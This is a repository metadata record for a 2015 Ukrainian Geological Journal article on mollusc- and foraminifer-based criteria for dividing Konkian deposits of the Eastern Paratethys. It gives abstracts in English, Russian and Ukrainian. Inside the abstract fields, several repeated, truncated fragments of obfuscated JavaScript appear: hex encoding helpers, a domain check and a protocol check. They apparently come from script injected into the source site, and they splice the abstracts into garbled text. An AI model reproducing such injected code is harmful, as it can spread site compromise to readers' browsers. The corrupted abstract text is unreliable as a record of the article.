THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS
The main problematic issues of the Konkian stratigraphy were considered. Lithological features of the Konkian deposits from different areas of the Eastern Paratethys and species diversity of molluscs and foraminifers were analyzed. Criteria for detection of the initial (early) and final (late) stage...
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| Дата: | 2015 |
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| Автор: | |
| Формат: | Стаття |
| Мова: | Російська |
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Institute of Geological Sciences, NAS of Ukraine
2015
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| Онлайн доступ: | http://geojournal.igs-nas.org.ua/article/view/139037 |
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| Назва журналу: | Geological journal |
Репозитарії
Geological journal| _version_ | 1856543131395162112 |
|---|---|
| author | Vernyhorova, Yu.V. |
| author_facet | Vernyhorova, Yu.V. |
| author_sort | Vernyhorova, Yu.V. |
| baseUrl_str | |
| collection | OJS |
| datestamp_date | 2018-09-04T11:30:22Z |
| description | The main problematic issues of the Konkian stratigraphy were considered. Lithological features of the Konkian deposits from different areas of the Eastern Paratethys and species diversity of molluscs and foraminifers were analyzed. Criteria for detection of the initial (early) and final (late) stages of development the Konkian basin have been proposed. They are based on the features of the species diversity of molluscs and foraminifera. The Pholas interbed at the bottom of the Konkian sediment with depleted complex of foraminifers and predominance of the genera Cassidulina and Discorbis: Discorbis kartvelicus Krash., Cassidulina bulbiformis Krash., C. bogdanowiczi Konenkova etc. may indicate an initial stage of development of the Konkian basin. These species are also found in other parts of the Konkian sediments however, is not predominate in the complex. This regularity can be traced in some relatively deep (clays and marls) of the Konkian deposits of the Crimean peninsula and Ciscaucasia. This stage is well fixed only in the most complete Konkian sections. But it is difficult to trace in incomplete, especially in the Konkian shallow water sediments (mostly limestone) since interbeds with depleted complex of foraminifers and predominance Cassidulina and Discorbis often contained within these sediments. It is typical particularly for the Konkian deposits of the Northern Black Sea region. More definitely, in my opinion, the final phase of development of the Konkian basin can be determined. These sediments contain not only species of molluscs and foraminifers that are typical for the Konkian basin but also species are specific for the early Sarmatian basin (for example, molluscs – Obsoletiforma litopodolica ruthenica (Hilber), Ervilia dissita dissita (Eichw.) (smallsized shells), foraminifera - Elphidium horridum Bogd., Nonion bogdanowichi Voloshinovae, Porosononion martkobi (Bogd.)). This regularity can be traced in the Konkian sediments of the Northern Black Sea region (including in the stratotype of the Konkian, which is arranged near river Konka, village Veselanka), of the Ciscaucasus and of the Mangyshlak Peninsula. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e |
| first_indexed | 2025-07-17T10:47:57Z |
| format | Article |
| id | mcm-mathkpnueduua-article-139037 |
| institution | Geological journal |
| language | rus |
| last_indexed | 2025-07-17T10:47:57Z |
| publishDate | 2015 |
| publisher | Institute of Geological Sciences, NAS of Ukraine |
| record_format | ojs |
| spelling | mcm-mathkpnueduua-article-1390372018-09-04T11:30:22Z THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS КРИТЕРИИ СТРАТИГРАФИЧЕСКОГО РАСЧЛЕНЕНИЯ КОНКСКИХ ОТЛОЖЕНИЙ ВОСТОЧНОГО ПАРАТЕТИСА ПО МОЛЛЮСКАМ И ФОРАМИНИФЕРАМ КРИТЕРІЇ СТРАТИГРАФІЧНОГО РОЗЧЛЕНУВАННЯ КОНКСЬКИХ ВІДКЛАДІВ СХІДНОГО ПАРАТЕТІСУ ЗА МОЛЮСКАМИ ТА ФОРАМІНІФЕРАМИ Vernyhorova, Yu.V. stratigraphy Eastern Paratethys Neogene Konkian molluscs foraminifera стратиграфия Восточный Паратетис неоген конка моллюски фораминиферы стратиграфія Східний Паратетіс неоген конка молюски форамініфери 551.782 (563.12 564)](47-13) (477.7) (477.22) The main problematic issues of the Konkian stratigraphy were considered. Lithological features of the Konkian deposits from different areas of the Eastern Paratethys and species diversity of molluscs and foraminifers were analyzed. Criteria for detection of the initial (early) and final (late) stages of development the Konkian basin have been proposed. They are based on the features of the species diversity of molluscs and foraminifera. The Pholas interbed at the bottom of the Konkian sediment with depleted complex of foraminifers and predominance of the genera Cassidulina and Discorbis: Discorbis kartvelicus Krash., Cassidulina bulbiformis Krash., C. bogdanowiczi Konenkova etc. may indicate an initial stage of development of the Konkian basin. These species are also found in other parts of the Konkian sediments however, is not predominate in the complex. This regularity can be traced in some relatively deep (clays and marls) of the Konkian deposits of the Crimean peninsula and Ciscaucasia. This stage is well fixed only in the most complete Konkian sections. But it is difficult to trace in incomplete, especially in the Konkian shallow water sediments (mostly limestone) since interbeds with depleted complex of foraminifers and predominance Cassidulina and Discorbis often contained within these sediments. It is typical particularly for the Konkian deposits of the Northern Black Sea region. More definitely, in my opinion, the final phase of development of the Konkian basin can be determined. These sediments contain not only species of molluscs and foraminifers that are typical for the Konkian basin but also species are specific for the early Sarmatian basin (for example, molluscs – Obsoletiforma litopodolica ruthenica (Hilber), Ervilia dissita dissita (Eichw.) (smallsized shells), foraminifera - Elphidium horridum Bogd., Nonion bogdanowichi Voloshinovae, Porosononion martkobi (Bogd.)). This regularity can be traced in the Konkian sediments of the Northern Black Sea region (including in the stratotype of the Konkian, which is arranged near river Konka, village Veselanka), of the Ciscaucasus and of the Mangyshlak Peninsula. // o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e Рассмотрены основные проблемные вопросы стратиграфии конкского региояруса. Проанализированы литологические особенности конкских отложений разных районов Восточного Паратетиса и видовое разнообразие моллюсков и фораминифер. Предложены критерии для распознавания начального (раннего) и заключительного (позднего) этапов развития конкского бассейна, которые основаны на особенностях видового разнообразия моллюсков и фораминифер.// o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "geojournal.igs-nas.org.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e Розглянуто основні питання стратиграфії конкського регіоярусу. Проаналізовано літологічні особливості та видове розмаїття молюсків та форамініфер у конкських відкладах різних районів Східного Паратетісу. Запропоновано критерії для розпізнавання початкового (раннього) та заключного (пізнього) етапів розвитку конкського бассейну, які грунтуються на особливостях видового розмаїття молюсків та форамінінфер. Institute of Geological Sciences, NAS of Ukraine 2015-12-15 Article Article application/pdf http://geojournal.igs-nas.org.ua/article/view/139037 10.30836/igs.1025-6814.2015.4.139037 Geologìčnij žurnal (Geological Journal); No. 4 (2015); ст. 77 - 86 Геологический журнал; № 4 (2015); ст. 77 - 86 Геологічний журнал; № 4 (2015); ст. 77 - 86 2522-4107 1025-6814 rus http://geojournal.igs-nas.org.ua/article/view/139037/135963 Авторське право (c) 2021 Yu.V. Vernyhorova |
| spellingShingle | stratigraphy Eastern Paratethys Neogene Konkian molluscs foraminifera Vernyhorova, Yu.V. THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS |
| title | THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS |
| title_alt | КРИТЕРИИ СТРАТИГРАФИЧЕСКОГО РАСЧЛЕНЕНИЯ КОНКСКИХ ОТЛОЖЕНИЙ ВОСТОЧНОГО ПАРАТЕТИСА ПО МОЛЛЮСКАМ И ФОРАМИНИФЕРАМ КРИТЕРІЇ СТРАТИГРАФІЧНОГО РОЗЧЛЕНУВАННЯ КОНКСЬКИХ ВІДКЛАДІВ СХІДНОГО ПАРАТЕТІСУ ЗА МОЛЮСКАМИ ТА ФОРАМІНІФЕРАМИ |
| title_full | THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS |
| title_fullStr | THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS |
| title_full_unstemmed | THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS |
| title_short | THE CRITERIA OF THE KONKIAN DEPOSITS STRATIGRAPHY OF THE EASTERN PARATETHYS BASED ON MOLLUSCS AND FORAMINIFERS |
| title_sort | criteria of the konkian deposits stratigraphy of the eastern paratethys based on molluscs and foraminifers |
| topic | stratigraphy Eastern Paratethys Neogene Konkian molluscs foraminifera |
| topic_facet | stratigraphy Eastern Paratethys Neogene Konkian molluscs foraminifera стратиграфия Восточный Паратетис неоген конка моллюски фораминиферы стратиграфія Східний Паратетіс неоген конка молюски форамініфери 551.782 (563.12 564)](47-13) (477.7) (477.22) |
| url | http://geojournal.igs-nas.org.ua/article/view/139037 |
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